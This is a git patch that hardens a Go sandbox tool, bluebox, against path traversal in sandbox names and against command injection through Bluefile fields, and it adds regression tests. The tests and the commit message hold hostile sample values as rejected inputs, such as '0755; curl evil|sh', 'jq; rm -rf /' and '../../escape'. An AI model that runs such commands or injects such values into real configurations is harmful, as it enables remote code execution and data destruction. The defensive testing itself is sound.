From 9127232ab274c4f8a575107aacc5bd28fa6dd87a Mon Sep 17 00:00:00 2001 From: KoLDXr00T Date: Sun, 23 Aug 2026 00:40:40 +0100 Subject: [PATCH] harden sandbox-name handling and Bluefile grammar validation Two changes from a source security review (analysis in bluebox-hardening/): 1. Sandbox names are now validated once, inside the sandbox package, by ValidName (letters/digits/._- , max 64, alphanumeric first char). Dir/DataDir/LogPath enforce it, so no command -- including destroy --data, reset and rename, which run os.RemoveAll/os.Rename on name-derived paths -- can act outside BLUEBOX_HOME via a crafted name like "../../something". 2. Bluefile fields that are data, not instructions, are validated at parse time so the generated Containerfile is a faithful rendering of the parsed spec: env keys must be identifiers and values cannot contain newlines (a newline would inject a Containerfile instruction), write_files modes must be octal (a mode like "0755; curl ...|sh" ran as a second shell command), blueprint user names/shells are constrained, packages must be plain tokens, and base must be whitespace-free. All shipped examples still parse; both packages gain table-driven regression tests. --- README.md | 15 ++++++++ internal/bluefile/bluefile.go | 55 ++++++++++++++++++++++++++---- internal/bluefile/bluefile_test.go | 34 ++++++++++++++++++ internal/sandbox/sandbox.go | 26 ++++++++++++++ internal/sandbox/sandbox_test.go | 47 +++++++++++++++++++++++++ 5 files changed, 171 insertions(+), 6 deletions(-) create mode 100644 internal/sandbox/sandbox_test.go diff --git a/README.md b/README.md index 5b0bb6c..8bf4e2c 100644 --- a/README.md +++ b/README.md @@ -115,6 +115,16 @@ explicitly to `apk`, `apt` or `dnf`. `cpus` maxes at 16 (a krun limit) and `ram_mib` is in MiB. +Field constraints, enforced at parse time so a bad value fails loudly instead +of leaking into the generated Containerfile: + +- `base` must be an image reference without whitespace. +- `env` keys are identifiers (`LANG`, `CGO_ENABLED`); values cannot contain + newlines — put multi-step builds in `run` instead. +- `packages` entries must be plain package names (no spaces or `; | & $ \``). +- blueprint user names are lowercase identifiers, `shell` an absolute path, + and file `mode`s octal (e.g. `"0755"`). + ### blueprint For cloud-init-style provisioning — users, files and commands: @@ -144,6 +154,11 @@ and the sudo group is `sudo` or `wheel` as that distro expects. ## Commands +Sandbox names use letters, digits, `.`, `_` and `-` (max 64 characters, +starting with a letter or digit). A name is a single path component by +construction, so nothing a sandbox does with its name can reach outside +`~/.bluebox`. + | Command | What it does | |---|---| | `bluebox new ` | scaffold a Bluefile | diff --git a/internal/bluefile/bluefile.go b/internal/bluefile/bluefile.go index 3085e65..a6e45ea 100644 --- a/internal/bluefile/bluefile.go +++ b/internal/bluefile/bluefile.go @@ -27,6 +27,7 @@ import ( "io" "os" "path/filepath" + "regexp" "sort" "strconv" "strings" @@ -133,10 +134,25 @@ func Parse(path string) (Spec, error) { return s, nil } +// Grammar rules for spec fields that are data, not instructions. A value +// violating its rule could otherwise change the structure of the generated +// Containerfile (a newline in an env value becomes a new instruction, a mode +// like "0755; x" becomes a second shell command), so it is rejected at parse +// time instead of being escaped at render time. +var ( + envKeyRe = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`) + modeRe = regexp.MustCompile(`^[0-7]{3,4}$`) + userRe = regexp.MustCompile(`^[a-z_][a-z0-9_-]{0,31}$`) + shellRe = regexp.MustCompile(`^/[A-Za-z0-9/._-]+$`) +) + func (s Spec) validate() error { if s.Base == "" { return errors.New("base is required") } + if strings.ContainsAny(s.Base, " \t\r\n\x00") { + return fmt.Errorf("base must be an image reference without whitespace or control characters, got %q", s.Base) + } if s.CPUs < 1 || s.CPUs > 16 { return fmt.Errorf("cpus must be 1-16 (krun's limit), got %d", s.CPUs) } @@ -168,15 +184,47 @@ func (s Spec) validate() error { if strings.TrimSpace(u.Name) == "" { return fmt.Errorf("blueprint.users[%d]: name is required", i) } + if !userRe.MatchString(u.Name) { + return fmt.Errorf("blueprint.users[%d]: name must be lowercase letters, digits, '_' or '-' (max 32), got %q", i, u.Name) + } + if u.Shell != "" && !shellRe.MatchString(u.Shell) { + return fmt.Errorf("blueprint.users[%d]: shell must be an absolute path (letters, digits, '/', '.', '_', '-'), got %q", i, u.Shell) + } } for i, f := range s.Blueprint.WriteFiles { if !strings.HasPrefix(f.Path, "/") { return fmt.Errorf("blueprint.write_files[%d]: path must be absolute, got %q", i, f.Path) } + if f.Mode != "" && !modeRe.MatchString(f.Mode) { + return fmt.Errorf("blueprint.write_files[%d]: mode must be octal (e.g. \"0644\"), got %q", i, f.Mode) + } + } + for _, k := range s.EnvKeys() { + if !envKeyRe.MatchString(k) { + return fmt.Errorf("env: key must be an identifier (letters, digits, '_'), got %q", k) + } + if strings.ContainsAny(s.Env[k], "\r\n") { + return fmt.Errorf("env[%s]: value must not contain a newline; put build steps in 'run' instead", k) + } + } + for i, p := range s.Packages { + if p == "" || strings.ContainsAny(p, " \t\r\n;|&$`") { + return fmt.Errorf("packages[%d]: %q is not a plain package name", i, p) + } } return nil } +// EnvKeys returns the env keys in sorted order. +func (s Spec) EnvKeys() []string { + keys := make([]string, 0, len(s.Env)) + for k := range s.Env { + keys = append(keys, k) + } + sort.Strings(keys) + return keys +} + // pkgMgr returns the package manager for this spec: pkgmgr if set, otherwise // inferred from the base image name. ok is false when neither works, so the // caller can ask for pkgmgr instead of emitting a Containerfile that fails @@ -251,12 +299,7 @@ func (s Spec) Containerfile() string { // Sorted so the same Bluefile always yields byte-identical output, which // keeps podman's layer cache warm across rebuilds. if len(s.Env) > 0 { - keys := make([]string, 0, len(s.Env)) - for k := range s.Env { - keys = append(keys, k) - } - sort.Strings(keys) - for _, k := range keys { + for _, k := range s.EnvKeys() { fmt.Fprintf(&b, "ENV %s=%s\n", k, s.Env[k]) } b.WriteByte('\n') diff --git a/internal/bluefile/bluefile_test.go b/internal/bluefile/bluefile_test.go index 623b8f9..11f4e63 100644 --- a/internal/bluefile/bluefile_test.go +++ b/internal/bluefile/bluefile_test.go @@ -80,6 +80,40 @@ func TestValidation(t *testing.T) { } } +// Values that would change the structure of the generated Containerfile are +// rejected at parse time rather than escaped at render time. +func TestGrammarValidation(t *testing.T) { + cases := map[string]string{ + "newline in env value": "base: x\nenv:\n A: \"one\\ntwo\"\n", + "bad env key": "base: x\nenv:\n \"a-b\": v\n", + "non-octal mode": "base: docker.io/library/alpine\nblueprint:\n write_files:\n - path: /etc/x\n content: y\n mode: \"0755; curl evil|sh\"\n", + "user with space": "base: docker.io/library/alpine\nblueprint:\n users:\n - name: \"a b\"\n", + "relative shell": "base: docker.io/library/alpine\nblueprint:\n users:\n - name: a\n shell: bash\n", + "package injection": "base: x\npackages:\n - \"jq; rm -rf /\"\n", + "base with space": "base: \"a b\"\n", + } + for name, body := range cases { + p := write(t, body) + if _, err := Parse(p); err == nil { + t.Errorf("%s: expected error, got none", name) + } + } +} + +// Everything shipped under examples/ must keep parsing as the validation +// rules grow. +func TestShippedExamplesStillParse(t *testing.T) { + matches, err := filepath.Glob("../../examples/*/Bluefile") + if err != nil || len(matches) == 0 { + t.Fatalf("no example Bluefiles found: %v", err) + } + for _, p := range matches { + if _, err := Parse(p); err != nil { + t.Errorf("%s: %v", p, err) + } + } +} + func TestPackageManagerSelection(t *testing.T) { cases := []struct{ base, want string }{ {"docker.io/library/alpine:latest", "apk add --no-cache"}, diff --git a/internal/sandbox/sandbox.go b/internal/sandbox/sandbox.go index cda6387..bfdcadf 100644 --- a/internal/sandbox/sandbox.go +++ b/internal/sandbox/sandbox.go @@ -6,10 +6,24 @@ import ( "os" "os/exec" "path/filepath" + "regexp" "sort" "strings" ) +// nameRe keeps a sandbox name a single safe path component, so every path +// derived from a name stays inside the bluebox root. The alphanumeric first +// character rejects ".", ".." and hidden names in one stroke. +var nameRe = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`) + +// ValidName reports whether name is usable as a sandbox name. +func ValidName(name string) error { + if !nameRe.MatchString(name) { + return fmt.Errorf("invalid sandbox name %q: use letters, digits, '.', '_' or '-' (max 64, starting with a letter or digit)", name) + } + return nil +} + // Home is the bluebox root, overridable with BLUEBOX_HOME. func Home() (string, error) { if h := os.Getenv("BLUEBOX_HOME"); h != "" { @@ -24,6 +38,9 @@ func Home() (string, error) { // Dir holds a sandbox's definition (its Bluefile and generated Containerfile). func Dir(name string) (string, error) { + if err := ValidName(name); err != nil { + return "", err + } h, err := Home() if err != nil { return "", err @@ -33,6 +50,9 @@ func Dir(name string) (string, error) { // DataDir is the only path that survives between runs; mounted at /data. func DataDir(name string) (string, error) { + if err := ValidName(name); err != nil { + return "", err + } h, err := Home() if err != nil { return "", err @@ -59,6 +79,9 @@ func ContainerfilePath(name string) (string, error) { // LogPath is the append-only record of runs for a sandbox. func LogPath(name string) (string, error) { + if err := ValidName(name); err != nil { + return "", err + } h, err := Home() if err != nil { return "", err @@ -66,6 +89,9 @@ func LogPath(name string) (string, error) { return filepath.Join(h, "logs", name+".log"), nil } +// ImageTag formats the podman image tag. The name is not re-validated here: +// every call site reaches this through a path builder that already ran +// ValidName, and podman itself rejects malformed refs loudly. func ImageTag(name string) string { return "bluebox/" + name + ":latest" } // SnapshotsDir holds archived copies of a sandbox's /data. diff --git a/internal/sandbox/sandbox_test.go b/internal/sandbox/sandbox_test.go new file mode 100644 index 0000000..b2cd829 --- /dev/null +++ b/internal/sandbox/sandbox_test.go @@ -0,0 +1,47 @@ +package sandbox + +import "testing" + +func TestValidName(t *testing.T) { + for _, name := range []string{"devbox", "a", "x9", "a-b_c.d"} { + if err := ValidName(name); err != nil { + t.Errorf("ValidName(%q) should accept: %v", name, err) + } + } + for _, name := range []string{ + "", ".", "..", "...", "-x", ".hidden", + "a/b", "../esc", "../../escape", "x/../y", + "a b", "a\tb", "a\nb", + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", // 65 chars + } { + if err := ValidName(name); err == nil { + t.Errorf("ValidName(%q) should reject", name) + } + } +} + +// Every filesystem sink derives its path through these builders, so a +// rejected name makes deletion, moving and creation outside the bluebox +// root unreachable. +func TestPathBuildersRejectUnsafeNames(t *testing.T) { + t.Setenv("HOME", t.TempDir()) // keep the assertions independent of the real home + for _, name := range []string{"../esc", "a/b", "..", ""} { + if p, err := Dir(name); err == nil { + t.Errorf("Dir(%q) = %q, want error", name, p) + } + if p, err := DataDir(name); err == nil { + t.Errorf("DataDir(%q) = %q, want error", name, p) + } + if p, err := LogPath(name); err == nil { + t.Errorf("LogPath(%q) = %q, want error", name, p) + } + } +} + +func TestPathBuildersAcceptSafeNames(t *testing.T) { + t.Setenv("HOME", t.TempDir()) + d, err := Dir("devbox") + if err != nil || d == "" { + t.Errorf("Dir(devbox): %q %v", d, err) + } +}